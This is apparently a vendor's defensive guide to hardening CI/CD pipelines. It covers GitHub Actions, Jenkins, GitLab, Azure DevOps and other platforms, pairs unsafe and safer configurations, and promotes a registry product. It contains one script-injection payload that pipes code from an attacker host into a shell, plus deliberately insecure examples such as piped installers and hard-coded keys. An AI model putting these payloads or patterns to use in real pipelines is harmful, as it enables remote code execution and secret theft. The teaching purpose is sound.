Guide for platform, DevOps and developers
The build server is production
A pipeline holds the keys to your cloud, your registries and your signing identity, and it runs code from every branch and every dependency. Attackers know this: compromising one popular build step reaches thousands of companies at once. This guide covers the unsafe patterns and the safer ones, per platform, mapped to the OWASP CI/CD risks.
The OWASP Top 10 CI/CD Security Risks
The OWASP Top 10 CI/CD Security Risks list is the best single map of how pipelines get attacked. Each row below links to the OWASP write up and to the part of this guide that deals with it.
| Risk | What it looks like | First fixes |
|---|---|---|
| CICD-SEC-1 Insufficient Flow Control | One person can push code that reaches production with no second pair of eyes. | Branch protection, required reviews, environment approvals. Checklist |
| CICD-SEC-2 Inadequate Identity and Access Management | Stale accounts, shared admin logins, everyone is admin on Jenkins. | SSO, least privilege, regular access reviews. |
| CICD-SEC-3 Dependency Chain Abuse | Typosquats, dependency confusion, hijacked packages installed by the build. | Lockfiles, a registry firewall, reserved names. Dependencies |
| CICD-SEC-4 Poisoned Pipeline Execution | A pull request changes the pipeline file or a script it runs, and the build executes it with secrets. | No secrets for untrusted code, pull_request not pull_request_target. GitHub Actions |
| CICD-SEC-5 Insufficient PBAC | Every job can reach every secret, every network and the host. | Scoped tokens, per job permissions, isolated runners. Runners |
| CICD-SEC-6 Insufficient Credential Hygiene | Long lived keys in variables, secrets printed in logs or baked into images. | OIDC, masking, BuildKit secrets. Secrets and OIDC |
| CICD-SEC-7 Insecure System Configuration | Unpatched Jenkins or TeamCity on the internet, builds on the controller. | Patch, restrict, no executors on the controller. Jenkins |
| CICD-SEC-8 Ungoverned Usage of 3rd Party Services | Unreviewed marketplace actions, orbs and apps with write access to every repository. | Allow lists, pin to SHA, review app permissions. |
| CICD-SEC-9 Improper Artifact Integrity Validation | Deploying whatever is in the bucket, with no proof of where it came from. | Provenance and signatures, verified at deploy. Provenance |
| CICD-SEC-10 Insufficient Logging and Visibility | No record of who changed a pipeline, approved a deploy or pulled a package. | Audit logs to a SIEM, download records per token. |
GitHub Actions
Most GitHub Actions compromises come from five patterns. In March 2025 the popular tj-actions/changed-files
action was compromised and its version tags moved to a commit that dumped secrets into build logs (CVE-2025-30066).
Every workflow that referenced it by tag ran the malicious code; workflows pinned to a commit SHA did not.
1. pull_request_target running the pull request's code
pull_request_target runs in the context of the base repository: it has secrets and a token that can write. That is safe only while it never executes code from the pull request. Checking out the head and running npm install or a test script hands both to whoever opened the pull request.
on: pull_request_target # secrets and a write token, even for forks
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }} # the fork's code
- run: npm install && npm test # runs it
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}A "pwn request". The fork controls package.json scripts and tests, so it controls the job and its secrets.
on: pull_request # forks get a read only token, no secrets
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- run: npm ci && npm testUntrusted code runs without secrets. If you must label or comment, do it in a separate workflow_run job that reads results as data and never executes them.
2. Untrusted text inside run:
Expressions like ${{ github.event.issue.title }} are pasted into the script before the shell sees it. Titles, branch names, commit messages and PR bodies are all attacker controlled.
on: issues
jobs:
triage:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: ${{ github.event.issue.title }}"
# title: "; curl -sSfL https://evil.example/x | sh; echo "Script injection. The title becomes shell code.
on: issues
permissions: {}
jobs:
triage:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: $TITLE"
env:
TITLE: ${{ github.event.issue.title }}Pass it through an environment variable and quote it. The shell treats it as data.
3. Third party actions by tag
steps:
- uses: some-org/lint-action@v2 # a tag: can be moved
- uses: other-org/deploy@main # a branch: moves every pushWhoever controls those repositories, or steals a maintainer token, controls your job.
steps:
# full 40 character commit SHA, with the version as a comment
- uses: some-org/lint-action@5c7c2a1f0b9e4d3a8f6e2b1c0d9e8f7a6b5c4d3e # v2.3.1
- uses: other-org/deploy@9b8a7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b # v1.4.0The SHAs above are illustrations: take the real one from the release you reviewed. Dependabot and Renovate update pinned SHAs as normal pull requests. An org level allow list of actions limits what can be used at all.
4. The GITHUB_TOKEN can do too much
permissions: write-all # or no block at all, with a
# permissive organization default
jobs:
build: ...
release: ...Every step in every job can push code, change releases and edit issues.
permissions:
contents: read # the default for every job
jobs:
build: ...
release:
permissions:
contents: write # only the job that needs itSet the organization default to read only too, and disable "Allow GitHub Actions to create and approve pull requests" unless you need it.
5. Self hosted runners on public repositories
GitHub's own guidance is to use self hosted runners only with private repositories: on a public one, anyone who can open a pull request can get code onto the machine, and a persistent runner keeps whatever they left behind. Use GitHub hosted runners for public code, require approval for workflows from outside contributors, and make self hosted runners ephemeral. See the GitHub Actions secure use reference and the GitHub Security Lab write up on preventing pwn requests.
Jenkins
Jenkins gives you complete control, which includes complete control over getting it wrong. The controller holds every credential and its configuration, so anything that runs on it effectively owns all of them.
- No builds on the controller. Set the built in node to 0 executors and run builds on agents, see controller isolation.
- Keep the Groovy sandbox on and treat script approval requests as security reviews. Approving signatures such as
java.lang.Runtime execorgetClasshands out code execution on the controller. - Fewer plugins. Each plugin is code on the controller with access to everything. Remove unused ones, update weekly, and watch the Jenkins security advisories.
- Credentials binding with single quotes. Let the shell expand the secret, not Groovy, so it stays out of the command line and is masked in the log.
- Real authorization. SSO, matrix or role based permissions, no anonymous read, and CSRF protection left on.
- Trust settings for forks. In multibranch jobs, only build Jenkinsfile changes from users with write access.
- Ephemeral agents, for example one Kubernetes pod per build, so no job inherits another's workspace.
pipeline {
agent any // may land on the controller
stages {
stage('Publish') {
steps {
withCredentials([usernamePassword(credentialsId: 'repo',
usernameVariable: 'U', passwordVariable: 'P')]) {
// double quotes: Groovy interpolates the secret into the
// command line, visible in process lists
sh "curl -u ${U}:${P} -T app.jar https://repo.example.com/"
}
}
}
}
}Jenkins itself warns about this: "A secret was passed to sh using Groovy String interpolation, which is insecure."
pipeline {
agent { label 'linux-build' } // a dedicated agent, never the controller
options { timeout(time: 30, unit: 'MINUTES') }
stages {
stage('Publish') {
when { branch 'main' }
steps {
withCredentials([usernamePassword(credentialsId: 'repo-publish',
usernameVariable: 'U', passwordVariable: 'P')]) {
// single quotes: the shell reads the variables, Jenkins masks them
sh 'curl --fail -u "$U:$P" -T app.jar https://repo.example.com/'
}
}
}
}
}A labeled agent, a narrowly scoped credential, publish only from main, and the secret never passes through Groovy.
Reference: Securing Jenkins and Using credentials.
GitLab CI
- Protected variables on protected branches. Deploy credentials are only exposed to pipelines on protected branches and tags, and masked in logs.
- ID tokens instead of cloud keys.
id_tokens:gives each job a signed JWT to exchange with AWS, Azure, GCP or Vault. See OIDC ID token authentication. - Pin includes.
include: project:with aref:that is a commit SHA or a protected tag, not a remote URL or a moving branch. - Separate runners by trust. Protected runners for deploy jobs, and no privileged Docker in Docker for merge requests from forks.
- Limit the job token. Keep the
CI_JOB_TOKENallow list to the projects that really need access.
include:
- remote: https://raw.githubusercontent.com/someone/templates/main/deploy.yml
variables:
AWS_SECRET_ACCESS_KEY: "wJalrXUtnFEMI/K7MDENG/bPxRfiCY..." # in the repo
deploy:
image: alpine:latest
script:
- apk add curl && curl -sL https://get.example.dev | sh
- ./deploy.shSomeone else's template on a moving branch, a key in the repository, a floating image and a piped installer. Four ways in.
include:
- project: platform/ci-templates
ref: 4f7a1c9e2b3d5f6a7b8c9d0e1f2a3b4c5d6e7f80 # reviewed commit
file: /deploy.yml
deploy:
image: registry.example.com/ci/deployer@sha256:9c1d... # pinned digest
environment: production
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
id_tokens:
AWS_ID_TOKEN:
aud: https://gitlab.example.com
script:
- ./deploy.sh # exchanges $AWS_ID_TOKEN for a short lived roleTemplates from a project you control at a fixed commit, a pinned image, deploys only from the default branch, and no stored cloud key.
Azure DevOps
- Workload identity federation for Azure service connections, so there is no client secret to leak or expire. See connect to Azure.
- Approvals and checks on environments and service connections, so a YAML edit alone cannot deploy to production.
- Limit job authorization scope to the current project, and turn on protection of repository access in YAML pipelines.
- Forks: do not make secrets available to builds of forks, and require a team member's comment before building them.
- Secret variables in variable groups linked to Key Vault, never plain variables in the YAML.
trigger: ['*']
pool: { vmImage: ubuntu-latest }
variables:
ARM_CLIENT_SECRET: 'q8Z~Xk2...' # service principal secret in YAML
steps:
- script: |
az login --service-principal -u $(ARM_CLIENT_ID) \
-p $(ARM_CLIENT_SECRET) --tenant $(TENANT_ID)
./deploy.shEvery branch deploys, and the secret is in the repository for anyone with read access.
trigger: [main]
pool: { vmImage: ubuntu-latest }
stages:
- stage: deploy
jobs:
- deployment: web
environment: production # approvals and checks live here
strategy:
runOnce:
deploy:
steps:
- checkout: self
- task: AzureCLI@2
inputs:
azureSubscription: prod-wif # workload identity federation
scriptType: bash
scriptLocation: inlineScript
inlineScript: ./deploy.shDeploys only from main, through an environment with approvals, using a federated service connection with no secret.
Reference: Securing Azure Pipelines.
CircleCI
- Contexts with restrictions to security groups or projects, so only the right pipelines see production secrets.
- OIDC tokens for AWS, GCP and others instead of stored keys. See OpenID Connect tokens.
- Forked pull requests: leave "pass secrets to builds from forked pull requests" off.
- Orbs are third party code. Pin exact versions, and allow only certified or reviewed orbs.
- Plan for a provider breach. In January 2023 CircleCI asked every customer to rotate every secret stored with it. Short lived credentials make that a non event.
Reference: CircleCI security recommendations.
TeamCity and Bamboo
- Patch the server quickly. TeamCity authentication bypasses CVE-2023-42793 and CVE-2024-27198 were exploited in the wild within days of disclosure.
- Keep it off the internet, behind SSO or a VPN, and never run build agents on the server machine. See TeamCity security notes.
- Use password parameters and secure values (TeamCity tokens, Bamboo shared credentials) so secrets are masked, and store settings as code for review.
- Agent pools per trust level, so a project cannot schedule onto the agents that deploy production.
- Bamboo Server is out of support since February 2024. If you still run it, move to Data Center or another platform.
Dependencies in the build: lockfiles and a registry firewall
The build installs more third party code than anything else in the company, with the most privileges. Three rules close most of the gap: install exactly what the lockfile says, get it from a registry you control, and never pipe a script from the internet into a shell.
npm install # resolves ranges, may rewrite the lockfile
pip install -r requirements.txt # unpinned, newest wins
docker pull node:latest # whatever latest means today
# all straight from the public internetThe build fetches whatever was published a minute ago, including a malicious release nobody has spotted yet.
# .npmrc in the repository
# registry=https://packages.example.com/
# //packages.example.com/:_authToken=${NPM_TOKEN}
npm ci # lockfile only, fails if it disagrees
pip install --index-url https://packages.example.com/pypi/simple/ \
--require-hashes -r requirements.txt
docker pull packages.example.com/library/node:24-slim@sha256:...Exact versions, hash checked, through a firewall that applies age, malware, vulnerability and name checks, and records which pipeline pulled what.
curl -sL https://get.example-tool.dev | bashRuns whatever the server returns today, as the build user, with no record of what it was.
VER=1.8.2
F="tool_${VER}_linux_amd64.tar.gz"
curl -fsSLO "https://github.com/example/tool/releases/download/v${VER}/${F}"
echo "<sha256 from the release page> ${F}" | sha256sum -c -
tar xzf "${F}" toolA fixed version, verified against a known hash. Better still, bake tools into a pinned build image.
ForgeRepo™ is a free, self hosted registry firewall for npm, PyPI, Docker, NuGet, Maven and more. Pipelines use their own scoped tokens, new releases wait out a cooling off period, files are scanned, internal names are reserved, and a kill switch pulls a bad release from every build at once. Setup takes a few minutes: getting started.
Secrets: out of logs, out of images, and short lived
The best CI secret is the one that does not exist. Every major platform can now issue a signed OIDC token per job, which cloud providers accept in exchange for credentials that expire in minutes. Trust is tied to a specific repository, branch or environment, so a stolen token is worth little and there is no key to rotate.
jobs:
deploy:
runs-on: ubuntu-latest
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
steps:
- run: env | sort # "debugging"
- run: aws s3 sync dist/ s3://prod-site --deleteA key that never expires, in every step's environment. Masking catches the exact string, not a base64 or split copy of it.
permissions:
id-token: write # lets the job request an OIDC token
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # reviewers and branch rules
steps:
- uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
with:
role-to-assume: arn:aws:iam::123456789012:role/deploy-site
aws-region: us-east-1
- run: aws s3 sync dist/ s3://prod-site --deleteThe role's trust policy accepts only repo:org/site:environment:production. Nothing is stored, and the credentials expire on their own.
ARG NPM_TOKEN
RUN echo "//registry.npmjs.org/:_authToken=${NPM_TOKEN}" > .npmrc \
&& npm ci && rm .npmrc
# the token is in the image history and an earlier layerBuild arguments and deleted files stay in the image. Anyone who can pull it can read the token.
# syntax=docker/dockerfile:1
RUN --mount=type=secret,id=npmrc,target=/root/.npmrc npm ci
# docker build --secret id=npmrc,src=$HOME/.npmrc .A BuildKit secret mount exists only for that one step and is never written to a layer.
References: GitHub OIDC, GitLab ID tokens, Azure DevOps workload identity federation, CircleCI OIDC.
Runners and agents: ephemeral and isolated
A runner that lives for months collects caches, credentials and tools from every job that ran on it. One malicious job can leave something behind for the next, for example a modified compiler or a poisoned cache. The fix is the same on every platform: one fresh machine or container per job, destroyed afterwards.
- GitHub: hosted runners, or self hosted runners registered with
--ephemeral, or autoscaled with Actions Runner Controller. - GitLab: Docker or Kubernetes executors that start a clean container per job; separate runners for protected branches.
- Jenkins: the Kubernetes or cloud agent plugins, one pod or VM per build.
- Everywhere: no Docker socket mounted into jobs, no privileged mode for untrusted code, and egress limited to what the build needs, such as your registry.
# one long lived VM, registered once, shared by every repository
./config.sh --url https://github.com/org --token $REG_TOKEN
./run.sh
# jobs mount /var/run/docker.sock "for speed"Every job can see what the last one left, and the Docker socket is root on the host.
# a fresh VM or pod per job, gone when the job ends
./config.sh --url https://github.com/org --token $REG_TOKEN \
--ephemeral --runnergroup private-builds --labels linux,x64
./run.sh
# builds images with rootless BuildKit, no socket mountThe runner takes exactly one job, then unregisters. Groups keep it to the repositories allowed to use it.
Provenance, SLSA and signing
Provenance is a signed statement of how an artifact was built: which source commit, which workflow, which builder. Signing ties the artifact to an identity. Together they let a deploy step, or a customer, refuse anything that did not come from your pipeline. SLSA build levels describes the levels, and Sigstore makes the signing free and keyless.
| SLSA build level | What it means | How you get there |
|---|---|---|
| Build L0 | No guarantees. | A laptop build, or a CI job with no provenance. |
| Build L1 | Provenance exists, showing how the package was built. | The build generates a provenance document with each artifact. |
| Build L2 | A hosted build platform generates and signs the provenance. | GitHub artifact attestations, or npm --provenance from a hosted CI runner. |
| Build L3 | A hardened platform: runs cannot influence each other, and secrets used to sign are out of reach of user steps. | Ephemeral isolated runners, and provenance generated outside the job's own steps, for example a reusable workflow. |
# whatever is in the bucket or registry gets deployed
aws s3 cp s3://builds/app-latest.tgz .
kubectl set image deploy/app app=registry.example.com/app:latestAnyone who can write to the bucket or push a tag decides what runs in production.
# in the release job (keyless, identity from the CI OIDC token)
cosign sign --yes registry.example.com/app@sha256:4d1f...
# at deploy, refuse anything not signed by that workflow
cosign verify registry.example.com/app@sha256:4d1f... \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
--certificate-identity-regexp '^https://github.com/org/app/\.github/workflows/release\.yml@refs/tags/v'
kubectl set image deploy/app app=registry.example.com/app@sha256:4d1f...Deploy by digest, verified against the workflow identity that built it. Admission controllers such as the Sigstore policy controller or Kyverno can enforce this cluster wide.
- run: npm publish # with a long lived NPM_TOKEN
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}A stolen token publishes from anywhere, and consumers cannot tell the difference.
permissions:
id-token: write
attestations: write
contents: read
steps:
- run: npm ci && npm run build && npm pack
- uses: actions/attest-build-provenance@4d101475d8b20a2381f78447822ac1eab6504dd8 # v4.2.2
with:
subject-path: '*.tgz'
- run: npm publish --provenance # npm trusted publishing via OIDC
# verify: gh attestation verify pkg-1.2.3.tgz -R org/pkgA signed provenance attestation for the tarball, and a publish that proves which repository and workflow it came from.
On the consuming side, ForgeRepo™ can check Sigstore provenance on packages as they come in, and produce an SBOM of what each application actually pulled. References: GitHub artifact attestations, npm provenance, cosign signing.
A pipeline hardening checklist
One page to take into a review. Measure public repositories with OpenSSF Scorecard, which checks several of these automatically, and use the OWASP CI/CD Security Cheat Sheet for more.
Flow and access
- Branch protection and required review on the default branch.
- Pipeline files need review from code owners.
- Production deploys go through an environment with approvals.
- SSO for the CI system, reviewed quarterly.
Credentials
- OIDC to clouds, no long lived keys.
- Tokens scoped per job and per environment.
- No
set -x,envorprintenvnear secrets. - Secrets never in images or artifacts.
Dependencies
- Lockfile installs:
npm ci,--frozen-lockfile,--require-hashes. - All packages and images through a registry firewall.
- Actions, orbs and templates pinned to a SHA.
- Base images pinned by digest.
Build platform
- Ephemeral runners and agents.
- No builds on the Jenkins controller or TeamCity server.
- Untrusted pull requests run without secrets.
- Servers patched and off the public internet.
Scanning
- SAST and secret scanning on every pull request, for example with Git Code Review.
- Dependency and image scanning before release.
- Findings routed to the owning team with an SLA.
Integrity and visibility
- Provenance for every release artifact.
- Signatures verified at deploy.
- CI audit logs shipped to your SIEM.
- You can answer "which builds pulled this package?" in minutes.
See the attacks this guards against in ten years of supply chain attacks, and where a registry fits in software supply chain security.
Every package your pipelines pull, checked
Point npm, pip, docker, dotnet and Maven in CI at ForgeRepo™ and every install goes through one gate, with a record of which pipeline pulled what. Free and self hosted.